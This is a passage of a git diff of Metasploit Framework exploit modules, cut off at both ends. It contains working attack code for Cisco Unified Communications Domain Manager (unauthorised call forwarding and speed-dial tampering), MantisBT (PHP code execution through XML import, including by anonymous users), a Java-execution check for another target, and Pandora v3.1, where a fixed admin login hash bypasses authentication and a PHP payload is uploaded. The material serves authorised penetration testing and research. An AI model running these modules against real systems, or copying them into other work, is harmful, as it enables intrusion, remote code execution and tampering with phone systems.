print_error("#{peer} - FINTNUMBER required to forward calls")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
fint_numbers.each do |fintnumber|
|
||||||
|
|
||||||
|
print_status("#{peer} - Sending call forward request for #{fintnumber}")
|
||||||
|
|
||||||
|
send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(uri, 'phonecallfwd.cgi'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'cfoption' => 'CallForwardAll',
|
||||||
|
'device' => "SEP#{mac}",
|
||||||
|
'ProviderName' => 'NULL',
|
||||||
|
'fintnumber' => "#{fintnumber}",
|
||||||
|
'telno1' => "#{forward_to}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'),
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => {
|
||||||
|
'device' => "SEP#{mac}",
|
||||||
|
'fintnumber' => "#{fintnumber}"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.body && res.body && res.body.to_s =~ /CFA/
|
||||||
|
print_good("#{peer} - Call forwarded successfully for #{fintnumber}")
|
||||||
|
else
|
||||||
|
print_status("#{peer} - Call forward failed.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,205 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'rexml/document'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool',
|
||||||
|
'Description' => %q{
|
||||||
|
The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager
|
||||||
|
(CDM), before version 10, doesn't implement access control properly, which allows remote
|
||||||
|
attackers to modify user information. This module exploits the vulnerability to make
|
||||||
|
unauthorized speeddial manipulations.
|
||||||
|
},
|
||||||
|
'Author' => 'fozavci',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2014-3300'],
|
||||||
|
['BID', '68331']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Actions' =>
|
||||||
|
[
|
||||||
|
[ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ],
|
||||||
|
[ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ],
|
||||||
|
[ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ],
|
||||||
|
[ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ]
|
||||||
|
],
|
||||||
|
'DefaultAction' => 'List'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']),
|
||||||
|
OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']),
|
||||||
|
OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']),
|
||||||
|
OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']),
|
||||||
|
OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
|
||||||
|
case action.name.upcase
|
||||||
|
when 'MODIFY'
|
||||||
|
modify
|
||||||
|
when 'DELETE'
|
||||||
|
delete
|
||||||
|
when 'ADD'
|
||||||
|
add
|
||||||
|
when 'LIST'
|
||||||
|
list
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_rcv(uri, vars_get)
|
||||||
|
uri = normalize_uri(target_uri.to_s, uri.to_s)
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'GET',
|
||||||
|
'vars_get' => vars_get
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/
|
||||||
|
return Exploit::CheckCode::Vulnerable, res
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Target appears not vulnerable!")
|
||||||
|
return Exploit::CheckCode::Safe, res
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse(res)
|
||||||
|
doc = REXML::Document.new(res.body)
|
||||||
|
names = []
|
||||||
|
phones = []
|
||||||
|
|
||||||
|
list = doc.root.get_elements('DirectoryEntry')
|
||||||
|
list.each do |lst|
|
||||||
|
xlist = lst.get_elements('Name')
|
||||||
|
xlist.each {|l| names << "#{l[0]}"}
|
||||||
|
xlist = lst.get_elements('Telephone')
|
||||||
|
xlist.each {|l| phones << "#{l[0]}" }
|
||||||
|
end
|
||||||
|
|
||||||
|
if names.size > 0
|
||||||
|
names.size.times do |i|
|
||||||
|
info = ''
|
||||||
|
info << "Position: #{names[i].split(":")[0]}, "
|
||||||
|
info << "Name: #{names[i].split(":")[1]}, "
|
||||||
|
info << "Telephone: #{phones[i]}"
|
||||||
|
|
||||||
|
print_good("#{peer} - #{info}")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_status("#{peer} - No Speed Dial detected")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def list
|
||||||
|
mac = datastore['MAC']
|
||||||
|
|
||||||
|
print_status("#{peer} - Getting Speed Dials of the IP phone")
|
||||||
|
vars_get = {
|
||||||
|
'device' => "SEP#{mac}"
|
||||||
|
}
|
||||||
|
|
||||||
|
status, res = send_rcv('speeddials.cgi', vars_get)
|
||||||
|
parse(res) unless status == Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def add
|
||||||
|
mac = datastore['MAC']
|
||||||
|
name = datastore['NAME']
|
||||||
|
position = datastore['POSITION']
|
||||||
|
telno = datastore['TELNO']
|
||||||
|
|
||||||
|
print_status("#{peer} - Adding Speed Dial to the IP phone")
|
||||||
|
vars_get = {
|
||||||
|
'name' => "#{name}",
|
||||||
|
'telno' => "#{telno}",
|
||||||
|
'device' => "SEP#{mac}",
|
||||||
|
'entry' => "#{position}",
|
||||||
|
'mac' => "#{mac}"
|
||||||
|
}
|
||||||
|
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
|
||||||
|
|
||||||
|
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
|
||||||
|
print_good("#{peer} - Speed Dial #{position} is added successfully")
|
||||||
|
elsif res && res.body && res.body.to_s =~ /exist/
|
||||||
|
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Speed Dial couldn't add!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def delete
|
||||||
|
mac = datastore['MAC']
|
||||||
|
position = datastore['POSITION']
|
||||||
|
|
||||||
|
print_status("#{peer} - Deleting Speed Dial of the IP phone")
|
||||||
|
|
||||||
|
vars_get = {
|
||||||
|
'entry' => "#{position}",
|
||||||
|
'device' => "SEP#{mac}"
|
||||||
|
}
|
||||||
|
|
||||||
|
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
|
||||||
|
|
||||||
|
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
|
||||||
|
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Speed Dial is not found!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def modify
|
||||||
|
mac = datastore['MAC']
|
||||||
|
name = datastore['NAME']
|
||||||
|
position = datastore['POSITION']
|
||||||
|
telno = datastore['TELNO']
|
||||||
|
|
||||||
|
print_status("#{peer} - Deleting Speed Dial of the IP phone")
|
||||||
|
|
||||||
|
vars_get = {
|
||||||
|
'entry' => "#{position}",
|
||||||
|
'device' => "SEP#{mac}"
|
||||||
|
}
|
||||||
|
|
||||||
|
status, res = send_rcv('phonespeeddialdelete.cgi', vars_get)
|
||||||
|
|
||||||
|
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/
|
||||||
|
print_good("#{peer} - Speed Dial #{position} is deleted successfully")
|
||||||
|
print_status("#{peer} - Adding Speed Dial to the IP phone")
|
||||||
|
|
||||||
|
vars_get = {
|
||||||
|
'name' => "#{name}",
|
||||||
|
'telno' => "#{telno}",
|
||||||
|
'device' => "SEP#{mac}",
|
||||||
|
'entry' => "#{position}",
|
||||||
|
'mac' => "#{mac}"
|
||||||
|
}
|
||||||
|
|
||||||
|
status, res = send_rcv('phonespeedialadd.cgi', vars_get)
|
||||||
|
|
||||||
|
if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/
|
||||||
|
print_good("#{peer} - Speed Dial #{position} is added successfully")
|
||||||
|
elsif res && res.body =~ /exist/
|
||||||
|
print_error("#{peer} - Speed Dial is exist, change the position or choose modify!")
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Speed Dial couldn't add!")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("#{peer} - Speed Dial is not found!")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -105,18 +105,28 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
sum = addend_one + addend_two
|
sum = addend_one + addend_two
|
||||||
|
|
||||||
java = java_sum([addend_one, addend_two])
|
java = java_sum([addend_one, addend_two])
|
||||||
|
|
||||||
|
vprint_status("#{peer} attempting to execute '#{java}' in Java")
|
||||||
res = execute(java)
|
res = execute(java)
|
||||||
result = parse_result(res)
|
result = parse_result(res)
|
||||||
|
|
||||||
if result.nil?
|
if result.nil?
|
||||||
|
vprint_status("#{peer} no response to executed Java")
|
||||||
return false
|
return false
|
||||||
else
|
else
|
||||||
|
vprint_status("#{peer} response to executed Java: #{result}")
|
||||||
result.to_i == sum
|
result.to_i == sum
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def parse_result(res)
|
def parse_result(res)
|
||||||
unless res && res.code == 200 && res.body
|
unless res
|
||||||
|
vprint_error("#{peer} no response")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
unless res.code == 200 && res.body
|
||||||
|
vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -127,20 +137,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
result = json['hits']['hits'][0]['fields']['msf_result'][0]
|
result = json['hits']['hits'][0]['fields']['msf_result']
|
||||||
rescue
|
rescue
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
result
|
result.is_a?(::Array) ? result.first : result
|
||||||
end
|
end
|
||||||
|
|
||||||
def java_sum(summands)
|
def java_sum(summands)
|
||||||
source = <<-EOF
|
summands.join(' + ')
|
||||||
#{summands.join(" + ")}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
source
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def to_java_byte_array(str)
|
def to_java_byte_array(str)
|
||||||
|
|
|
@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
Rank = GreatRanking
|
Rank = GreatRanking
|
||||||
|
|
||||||
include Msf::Exploit::Remote::HttpClient
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include REXML
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
|
@ -17,16 +18,22 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
|
This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed.
|
||||||
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
|
The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier.
|
||||||
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
|
This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine.
|
||||||
|
This version also suffers from another issue. The import page is not checking the correct user level
|
||||||
|
of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Egidio Romano', # discovery http://karmainsecurity.com
|
'Egidio Romano', # discovery http://karmainsecurity.com
|
||||||
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
|
'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
|
||||||
|
'Christian Mehlmauer'
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['CVE', '2014-7146']
|
['CVE', '2014-7146'],
|
||||||
|
['CVE', '2014-8598'],
|
||||||
|
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'],
|
||||||
|
['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780']
|
||||||
],
|
],
|
||||||
'Platform' => 'php',
|
'Platform' => 'php',
|
||||||
'Arch' => ARCH_PHP,
|
'Arch' => ARCH_PHP,
|
||||||
|
@ -42,49 +49,98 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
def check
|
def get_mantis_version
|
||||||
res = exec_php('phpinfo(); die();', true)
|
xml = Document.new
|
||||||
|
xml.add_element(
|
||||||
|
"soapenv:Envelope",
|
||||||
|
{
|
||||||
|
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
|
||||||
|
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
|
||||||
|
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
|
||||||
|
'xmlns:man' => "http://futureware.biz/mantisconnect"
|
||||||
|
})
|
||||||
|
xml.root.add_element("soapenv:Header")
|
||||||
|
xml.root.add_element("soapenv:Body")
|
||||||
|
body = xml.root.elements[2]
|
||||||
|
body.add_element("man:mc_version",
|
||||||
|
{ 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" }
|
||||||
|
)
|
||||||
|
|
||||||
if res && res.body =~ /This program makes use of the Zend/
|
res = send_request_cgi({
|
||||||
return Exploit::CheckCode::Vulnerable
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'),
|
||||||
|
'ctype' => 'text/xml; charset=UTF-8',
|
||||||
|
'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'},
|
||||||
|
'data' => xml.to_s
|
||||||
|
})
|
||||||
|
if res && res.code == 200
|
||||||
|
match = res.body.match(/<ns1:mc_versionResponse.*><return xsi:type="xsd:string">(.+)<\/return><\/ns1:mc_versionResponse>/)
|
||||||
|
if match && match.length == 2
|
||||||
|
version = match[1]
|
||||||
|
print_status("Detected Mantis version #{version}")
|
||||||
|
return version
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Can not detect Mantis version")
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
version = get_mantis_version
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Unknown if version.nil?
|
||||||
|
|
||||||
|
gem_version = Gem::Version.new(version)
|
||||||
|
gem_version_introduced = Gem::Version.new('1.2.0a3')
|
||||||
|
gem_version_fixed = Gem::Version.new('1.2.18')
|
||||||
|
|
||||||
|
if gem_version < gem_version_fixed && gem_version >= gem_version_introduced
|
||||||
|
return Msf::Exploit::CheckCode::Appears
|
||||||
else
|
else
|
||||||
return Exploit::CheckCode::Unknown
|
return Msf::Exploit::CheckCode::Safe
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_login()
|
def do_login()
|
||||||
print_status('Checking access to MantisBT...')
|
# check for anonymous login
|
||||||
res = send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
|
'uri' => normalize_uri(target_uri.path, 'login_anon.php')
|
||||||
'vars_get' => {
|
|
||||||
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
|
|
||||||
}
|
|
||||||
})
|
})
|
||||||
|
# if the redirect contains a username (non empty), anonymous access is enabled
|
||||||
|
if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/
|
||||||
|
print_status('Anonymous access enabled, no need to log in')
|
||||||
|
session_cookie = res.get_cookies
|
||||||
|
else
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import')
|
||||||
|
}
|
||||||
|
})
|
||||||
|
session_cookie = res.get_cookies
|
||||||
|
print_status('Logging in...')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
||||||
|
'cookie' => session_cookie,
|
||||||
|
'vars_post' => {
|
||||||
|
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
|
||||||
|
'username' => datastore['username'],
|
||||||
|
'password' => datastore['password'],
|
||||||
|
'secure_session' => 'on'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
|
||||||
|
|
||||||
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200
|
fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php')
|
||||||
|
|
||||||
session_cookie = res.get_cookies
|
session_cookie = "#{session_cookie} #{res.get_cookies}"
|
||||||
|
end
|
||||||
|
|
||||||
print_status('Logging in...')
|
session_cookie
|
||||||
res = send_request_cgi({
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'login.php'),
|
|
||||||
'cookie' => session_cookie,
|
|
||||||
'vars_post' => {
|
|
||||||
'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'),
|
|
||||||
'username' => datastore['username'],
|
|
||||||
'password' => datastore['password'],
|
|
||||||
'secure_session' => 'on'
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302
|
|
||||||
|
|
||||||
fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/
|
|
||||||
|
|
||||||
"#{session_cookie} #{res.get_cookies}"
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def upload_xml(payload_b64, rand_text, cookies, is_check)
|
def upload_xml(payload_b64, rand_text, cookies, is_check)
|
||||||
|
@ -107,11 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
unless res && res.code == 200
|
unless res && res.code == 200 && res.body
|
||||||
print_error('Error trying to access XmlImportExport/import page...')
|
print_error('Error trying to access XmlImportExport/import page...')
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if res.body.include?('Plugin is not registered with MantisBT')
|
||||||
|
print_error('XMLImportExport plugin is not installed')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
# Retrieving CSRF token
|
# Retrieving CSRF token
|
||||||
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
|
if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/
|
||||||
csrf_token = Regexp.last_match[1]
|
csrf_token = Regexp.last_match[1]
|
||||||
|
@ -190,22 +251,37 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
data_post = data.to_s
|
data_post = data.to_s
|
||||||
|
|
||||||
print_status('Sending payload...')
|
print_status('Sending payload...')
|
||||||
return send_request_cgi({
|
res = send_request_cgi({
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
|
'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'),
|
||||||
'cookie' => cookies,
|
'cookie' => cookies,
|
||||||
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
|
'ctype' => "multipart/form-data; boundary=#{ data.bound }",
|
||||||
'data' => data_post
|
'data' => data_post
|
||||||
}, timeout)
|
}, timeout)
|
||||||
|
|
||||||
|
if res && res.body && res.body.include?('APPLICATION ERROR')
|
||||||
|
print_error('Error on uploading XML')
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
# request above will time out and return nil on success
|
||||||
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
def exec_php(php_code, is_check = false)
|
def exec_php(php_code, is_check = false)
|
||||||
|
print_status('Checking access to MantisBT...')
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path)
|
||||||
|
})
|
||||||
|
|
||||||
|
fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection)
|
||||||
|
|
||||||
# remove comments, line breaks and spaces of php_code
|
# remove comments, line breaks and spaces of php_code
|
||||||
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
|
payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
|
||||||
|
|
||||||
# clean b64 payload
|
# clean b64 payload
|
||||||
while Rex::Text.encode_base64(payload_clean) =~ /=/
|
while Rex::Text.encode_base64(payload_clean).include?('=')
|
||||||
payload_clean = "#{ payload_clean } "
|
payload_clean = "#{ payload_clean } "
|
||||||
end
|
end
|
||||||
payload_b64 = Rex::Text.encode_base64(payload_clean)
|
payload_b64 = Rex::Text.encode_base64(payload_clean)
|
||||||
|
@ -216,6 +292,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
|
res_payload = upload_xml(payload_b64, rand_text, cookies, is_check)
|
||||||
|
|
||||||
|
return unless res_payload
|
||||||
|
|
||||||
# When a meterpreter session is active, communication with the application is lost.
|
# When a meterpreter session is active, communication with the application is lost.
|
||||||
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
|
# Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it.
|
||||||
cookies = do_login()
|
cookies = do_login()
|
||||||
|
@ -283,6 +361,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
get_mantis_version
|
||||||
unless exec_php(payload.encoded)
|
unless exec_php(payload.encoded)
|
||||||
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
|
fail_with(Failure::Unknown, 'Exploit failed, aborting.')
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,166 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an authentication bypass vulnerability in Pandora v3.1 as
|
||||||
|
disclosed by Juan Galiana Lara. It also integrates with the built-in pandora
|
||||||
|
upload which allows a user to upload arbitrary files to the '/images/' directory.
|
||||||
|
|
||||||
|
This module was created as an exercise in the Metasploit Mastery Class at Blackhat
|
||||||
|
that was facilitated by egypt and mubix.
|
||||||
|
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Juan Galiana Lara', # Vulnerability discovery
|
||||||
|
'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module
|
||||||
|
'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module
|
||||||
|
'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module
|
||||||
|
'_flood <freshbones[at]gmail.com>', # Metasploit module
|
||||||
|
'mubix <mubix[at]room362.com>', # Auth bypass and file upload
|
||||||
|
'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2010-4279'],
|
||||||
|
['OSVDB', '69549'],
|
||||||
|
['BID', '45112']
|
||||||
|
],
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Automatic Targeting', { 'auto' => true }]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "Nov 30 2010",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
|
||||||
|
base = target_uri.path
|
||||||
|
|
||||||
|
# retrieve software version from login page
|
||||||
|
begin
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(base, 'index.php')
|
||||||
|
})
|
||||||
|
if res and res.code == 200
|
||||||
|
#Tested on v3.1 Build PC100609 and PC100608
|
||||||
|
if res.body.include?("v3.1 Build PC10060")
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
elsif res.body.include?("Pandora")
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
vprint_error("#{peer} - Connection failed")
|
||||||
|
end
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# upload a payload using the pandora built-in file upload
|
||||||
|
def upload(base, file, cookies)
|
||||||
|
data = Rex::MIME::Message.new
|
||||||
|
data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"")
|
||||||
|
data.add_part("Go", nil, nil, 'form-data; name="go"')
|
||||||
|
data.add_part("images", nil, nil, 'form-data; name="directory"')
|
||||||
|
data.add_part("1", nil, nil, 'form-data; name="upload_file"')
|
||||||
|
data_post = data.to_s
|
||||||
|
data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
|
||||||
|
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(base, 'index.php'),
|
||||||
|
'cookie' => cookies,
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||||
|
'vars_get' => {
|
||||||
|
'sec' => 'gsetup',
|
||||||
|
'sec2' => 'godmode/setup/file_manager',
|
||||||
|
},
|
||||||
|
'data' => data_post
|
||||||
|
})
|
||||||
|
|
||||||
|
register_files_for_cleanup(@fname)
|
||||||
|
return res
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
base = target_uri.path
|
||||||
|
@fname = "#{rand_text_numeric(7)}.php"
|
||||||
|
cookies = ""
|
||||||
|
|
||||||
|
# bypass authentication and get session cookie
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(base, 'index.php'),
|
||||||
|
'vars_get' => {
|
||||||
|
'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3',
|
||||||
|
'loginhash_user' => 'admin',
|
||||||
|
'loginhash' => '1',
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
# fix if logic
|
||||||
|
if res and res.code == 200
|
||||||
|
if res.body.include?("Logout")
|
||||||
|
cookies = res.get_cookies
|
||||||
|
print_status("Login Bypass Successful")
|
||||||
|
print_status("cookie monster = " + cookies)
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# upload PHP payload to images/[fname]
|
||||||
|
print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)")
|
||||||
|
php = %Q|<?php #{payload.encoded} ?>|
|
||||||
|
begin
|
||||||
|
res = upload(base, php, cookies)
|
||||||
|
rescue ::Rex::ConnectionError
|
||||||
|
